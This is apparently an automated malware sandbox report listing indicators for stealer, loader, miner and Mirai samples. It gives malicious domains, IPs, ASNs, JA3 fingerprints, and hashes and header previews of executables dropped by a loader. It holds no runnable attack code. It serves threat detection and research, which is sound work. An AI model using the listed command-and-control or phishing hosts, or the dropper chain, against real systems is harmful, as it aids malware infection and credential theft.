	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.185.71.170
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	81.29.149.45
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
lossekniyyt.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.12.88
grannyejh.lat	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.179.109
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.179.109
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.179.109
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.23.76
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	104.21.23.76
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ama.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	cred.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	xxz.exe	Get hash	malicious	Xmrig	Browse	185.215.113.117
CLOUDFLARENETUS	https://em.navan.com/MDM3LUlLWi04NzEAAAGXecU3IyvXka_yOfm1UXs3oOmq7mq-S6uBgGscrsY0kWMgpLalbadmEIYbTEXYqyKQHEXyRQM=	Get hash	malicious	Unknown	Browse	104.16.79.73
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://usps.com-parcelbvxce.vip/i/	Get hash	malicious	Unknown	Browse	104.21.4.80
	http://golden1-alert.net/online	Get hash	malicious	Unknown	Browse	104.17.25.14
	Setup.msi	Get hash	malicious	Unknown	Browse	172.67.218.192
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.225
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.88.199
	http://files.playanext.com/v8/avast_secure_browser_setup.exe	Get hash	malicious	Unknown	Browse	172.67.15.96
	https://docs.zoom.us/doc/amQMYMv8RzCj0FS5-u7_7w?from=email	Get hash	malicious	Unknown	Browse	104.18.86.42
AMAZON-AESUS	https://em.navan.com/MDM3LUlLWi04NzEAAAGXecU3IyvXka_yOfm1UXs3oOmq7mq-S6uBgGscrsY0kWMgpLalbadmEIYbTEXYqyKQHEXyRQM=	Get hash	malicious	Unknown	Browse	34.198.24.51
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	18.215.166.152
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	54.142.230.243
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	52.203.92.199
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	54.147.237.88
	arm5.nn-20241218-1651.elf	Get hash	malicious	Mirai, Okiru	Browse	54.46.25.82
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	54.2.103.76
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	54.59.161.180
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	34.204.58.113
	securedoc_20241217T163143.html	Get hash	malicious	Unknown	Browse	54.161.144.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 172.67.179.109 172.67.131.246
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 172.67.179.109 172.67.131.246

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fba63623fe.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1941504
Entropy (8bit):	7.953585403225497
Encrypted:	false
SSDEEP:	49152:70bSQBx+E1SZ9GcwNq8iAvZgyKyhayFsOIYL+oqX:Ob3mcrQ2ZgY4GEYL+l
MD5:	7ECFEF7F63495C67771664D73A1EE2C6
SHA1:	7CACD8627FC5DBCB69B5BF75E427FD0A7F0AE89E
SHA-256:	6A571AD33069DDC90B3CAF80F8748D1B153F4FBDD96E6F2620C4124E22402E12
SHA-512:	0F4EC72376C6BAD245F364CDBDDC660ECB2607C18A6E73DECA4F6F5960676B30FB9D663F239093EBAB9B3DC1793614A84D6C2E6913FCC8C8550B2EBF28E101E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......0J...........@..........................`J...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...odqdzvii.0....0.."...X..............@...mkfcubxc..... J......z..............@....taggant.0...0J.."...~..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826816
Entropy (8bit):	7.948788337541612
Encrypted:	false
SSDEEP:	49152:64IQwE9/jGUecQ0yTipjQgMtyuIOZiul:6hQTBjGXcMTidLMtyuIQJ
MD5:	3DC730302DC71232EE3BB36DC669F3AE
SHA1:	268717A1D24EF6BE6B40B16F9E7F731AE7205083
SHA-256:	570EE6EA154DC3DA02A3E52122C89A504FDEA8B8B622A5E13848804AF7486B84
SHA-512:	F0D6D22F52E498BAC2327E7928ADE046D57B254CDF97B6A490A0E6B515873B1832ECD66C2DAAD8761FF0F1F26CE1E84F0B4B7E80DA5A7AB0DA04890460EAC005
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................pH...........@...........................H......U....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..)..@.......^..............@...vkhwstep.`..../..Z...`..............@...lvdrqtey.....`H.....................@....taggant.0...pH.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4449792
Entropy (8bit):	7.9864416292970875
Encrypted:	false
SSDEEP:	98304:+TiQFMObNwi4HDXYIeeRGLsAR5G5zVoOLU104TjQ6jY7:+TNjwvjVeeRicdLU1BTjQ6s
MD5:	60CB08AFF943753C526CF73FD6007489
SHA1:	82A65E58388A24FA079F644E574B5A26512D1078
SHA-256:	5A1E55DF322D7F0F410E19BDA46827DEF8374605479FE22D16C921C36751EC96
SHA-512:	E6CADB0CB30F8C37E8D20F8448952DED9EF9501AD03E059F6140E70F82FC8D3CE12033A7D8887B4793145B2C7D4279D71DF02E2AD8EA4A4D973384973E7A1AA9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...`.......PD...@..................................DD...@... ............................._.a.s.....a......................E...............................E...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .@8...a......R(.............@...liphicak.p.......j...T(.............@...gjmnxrkj.....P........C.............@....taggant.0...`..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1941504
Entropy (8bit):	7.953585403225497
Encrypted:	false
SSDEEP:	49152:70bSQBx+E1SZ9GcwNq8iAvZgyKyhayFsOIYL+oqX:Ob3mcrQ2ZgY4GEYL+l
MD5:	7ECFEF7F63495C67771664D73A1EE2C6
SHA1:	7CACD8627FC5DBCB69B5BF75E427FD0A7F0AE89E
SHA-256:	6A571AD33069DDC90B3CAF80F8748D1B153F4FBDD96E6F2620C4124E22402E12
SHA-512:	0F4EC72376C6BAD245F364CDBDDC660ECB2607C18A6E73DECA4F6F5960676B30FB9D663F239093EBAB9B3DC1793614A84D6C2E6913FCC8C8550B2EBF28E101E9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......0J...........@..........................`J...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...odqdzvii.0....0.."...X..............@...mkfcubxc..... J......z..............@....taggant.0...0J.."...~..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4449792
Entropy (8bit):	7.9864416292970875
Encrypted:	false
SSDEEP:	98304:+TiQFMObNwi4HDXYIeeRGLsAR5G5zVoOLU104TjQ6jY7:+TNjwvjVeeRicdLU1BTjQ6s
MD5:	60CB08AFF943753C526CF73FD6007489
SHA1:	82A65E58388A24FA079F644E574B5A26512D1078
SHA-256:	5A1E55DF322D7F0F410E19BDA46827DEF8374605479FE22D16C921C36751EC96
SHA-512:	E6CADB0CB30F8C37E8D20F8448952DED9EF9501AD03E059F6140E70F82FC8D3CE12033A7D8887B4793145B2C7D4279D71DF02E2AD8EA4A4D973384973E7A1AA9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...`.......PD...@..................................DD...@... ............................._.a.s.....a......................E...............................E...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .@8...a......R(.............@...liphicak.p.......j...T(.............@...gjmnxrkj.....P........C.............@....taggant.0...`..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826816
Entropy (8bit):	7.948788337541612
Encrypted:	false
SSDEEP:	49152:64IQwE9/jGUecQ0yTipjQgMtyuIOZiul:6hQTBjGXcMTidLMtyuIQJ
MD5:	3DC730302DC71232EE3BB36DC669F3AE
